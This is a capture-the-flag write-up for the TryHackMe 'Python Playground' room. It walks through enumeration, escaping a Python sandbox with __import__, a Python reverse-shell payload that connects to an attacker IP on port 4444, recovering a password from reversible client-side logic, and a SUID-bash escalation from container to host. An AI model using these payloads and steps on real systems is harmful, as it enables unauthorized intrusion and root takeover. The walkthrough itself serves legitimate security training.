Hi all, we’re back with another TryHackMe room called Python Playground.

This writeup walks through the full path: service enumeration, finding the hidden admin area, abusing the Python playground to get code execution, recovering the admin password from weak client-side logic, using SSH to access the user account, and finally escalating privileges to root.

Let’s start with an Nmap scan to find the open ports and identify the exposed services.

1
┌──(cat0x01㉿cat0x01)-[~]
2
└─$ nmap -sV -sC 10.128.132.123
3
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-03 23:07 EDT
4
Nmap scan report for 10.128.132.123
5
Host is up (0.072s latency).
6
Not shown: 998 closed tcp ports (reset)
7
PORT   STATE SERVICE VERSION
8
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
9
| ssh-hostkey:
10
|   2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
11
|   256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
12
|_  256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
13
80/tcp open  http    Node.js Express framework
14
|_http-title: Python Playground!
15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
16

17
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
18
Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds

We found two useful ports:

• 22/tcp for SSH, which may become useful later if we recover valid credentials.
• 80/tcp for the web application, which is our main entry point.

I opened the website first.

The homepage shows links for signup and login. A quick source review does not reveal anything interesting, so the next step is to interact with the application directly.

Both pages are under development, and the message says only admins can use the site right now. That strongly suggests there may be an admin page or another hidden route.

At this point, directory brute forcing makes sense. I used dirsearch to look for additional content.

1
┌──(cat0x01㉿cat0x01)-[~]
2
└─$ dirsearch -u http://10.128.132.123/
3
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
4
  from pkg_resources import DistributionNotFound, VersionConflict
5

6
  _|. _ _  _  _  _ _|_    v0.4.3
7
 (_||| _) (/_(_|| (_| )
8

9
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
10

11
Output File: /home/cat0x01/reports/http_10.128.132.123/__26-04-03_23-14-58.txt
12

13
Target: http://10.128.132.123/
14

15
[23:14:58] Starting:
16
[23:15:14] 200 -    3KB - /admin.html
17
[23:15:54] 200 -  549B  - /login.html
18
[23:16:27] 200 -  549B  - /signup.html

This reveals an admin.html page.

We do not have credentials yet, so the next step is to inspect the page source and linked JavaScript.

The client-side code gives us two important clues:

• the username is connor
• successful authentication redirects to another hidden page

That hidden page is the real target, so I visited it directly.

This page gives us a Python playground. It blocks normal imports, but the restriction is weak because Python still exposes the built-in __import__() function.

For example:

1
__import__("os")

That means we can still load standard modules even if the application tries to block the normal import statement. After testing the environment, common tools like curl and wget were not available, so the most direct option was to use Python itself to get command execution and spawn a shell.

The following payload uses Python standard modules to open a socket and spawn a shell:

1
socket = __import__('socket')
2
subprocess = __import__('subprocess')
3
os = __import__('os')
4
pty = __import__('pty')
5

6
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7
s.connect(("192.168.130.215", 4444))
8
os.dup2(s.fileno(), 0)
9
os.dup2(s.fileno(), 1)
10
os.dup2(s.fileno(), 2)
11
pty.spawn("/bin/bash")

This gives us shell access on the target.

While exploring the system, we find flag1.

Next, I went back to the JavaScript from admin.html to understand how the password check works. The page uses custom client-side logic instead of proper server-side authentication.

1
<script>
2
  // I suck at server side code, luckily I know how to make things secure without it - Connor
3

4
  function string_to_int_array(str){
5
    const intArr = [];
6

7
    for(let i=0;i<str.length;i++){
8
      const charcode = str.charCodeAt(i);
9

10
      const partA = Math.floor(charcode / 26);
11
      const partB = charcode % 26;
12

13
      intArr.push(partA);
14
      intArr.push(partB);
15
    }
16

17
    return intArr;
18
  }
19

20
  function int_array_to_text(int_array){
21
    let txt = '';
22

23
    for(let i=0;i<int_array.length;i++){
24
      txt += String.fromCharCode(97 + int_array[i]);
25
    }
26

27
    return txt;
28
  }
29

30
  document.forms[0].onsubmit = function (e){
31
      e.preventDefault();
32

33
      if(document.getElementById('username').value !== 'connor'){
34
        document.getElementById('fail').style.display = '';
35
        return false;
36
      }
37

38
      const chosenPass = document.getElementById('inputPassword').value;
39

40
      const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(chosenPass))));
41

42
      if(hash === '<REDACTED>'){
43
        window.location = 'super-secret-admin-testing-panel.html';
44
      } else {
45
        document.getElementById('fail').style.display = '';
46
      }
47
      return false;
48
  }
49
</script>

The password script works like this:

1. It takes each character from the password.
2. It converts that character into two numbers based on its character code.
3. It turns those numbers into letters from a to z.
4. It repeats the same transformation one more time.

So the flow is:

password -> numbers -> letters -> numbers -> letters

This is not real hashing. It is only a reversible encoding process, because the transformation can be reversed step by step.

To recover the original password, I reversed the logic in Python:

1
def text_to_int_array(text):
2
    return [ord(c) - 97 for c in text]
3

4
def reverse_string_to_int_array(int_arr):
5
    result = ""
6
    for i in range(0, len(int_arr), 2):
7
        part_a = int_arr[i]
8
        part_b = int_arr[i + 1]
9
        charcode = part_a * 26 + part_b
10
        result += chr(charcode)
11
    return result
12

13
def reverse_hash(final_hash):
14
    step1 = text_to_int_array(final_hash)
15
    step2 = reverse_string_to_int_array(step1)
16
    step3 = text_to_int_array(step2)
17
    original = reverse_string_to_int_array(step3)
18
    return original
19

20
hash_value = "<REDACTED>"
21
print(reverse_hash(hash_value))

This gives us the original password.

Now we have valid credentials for the connor account, so we can use SSH on port 22.

After logging in as connor, we find flag2.

The last step is privilege escalation to root.

During local enumeration, the key observation is that the environment allows changes made from the container to appear on the host through a shared path. That creates a path to privilege escalation if we can make a file on the host executable with the SUID bit set.

The basic idea is:

1. Create a directory inside the shared log path from the container.
2. On the host side, place a copy of /bin/bash inside that directory.
3. From the container, set the SUID bit on that copied binary.
4. Execute it on the host to get a root shell.

Creating a new directory inside the shared log path:

Confirming the change from the host:

Copying /bin/bash into the new directory:

Changing the permissions from the container:

Getting a root shell on the host:

With that, we get flag3 and complete the room.

Summary

Python Playground is a nice example of how multiple small weaknesses can chain together into full compromise. We start with simple web enumeration, discover hidden functionality, bypass weak Python import restrictions, recover a password from reversible client-side logic, and then use environmental misconfiguration to escalate to root.

The main lesson here is simple: client-side checks are not security, weak sandboxing is dangerous, and shared host/container paths can become a serious privilege escalation risk when permissions are not designed carefully.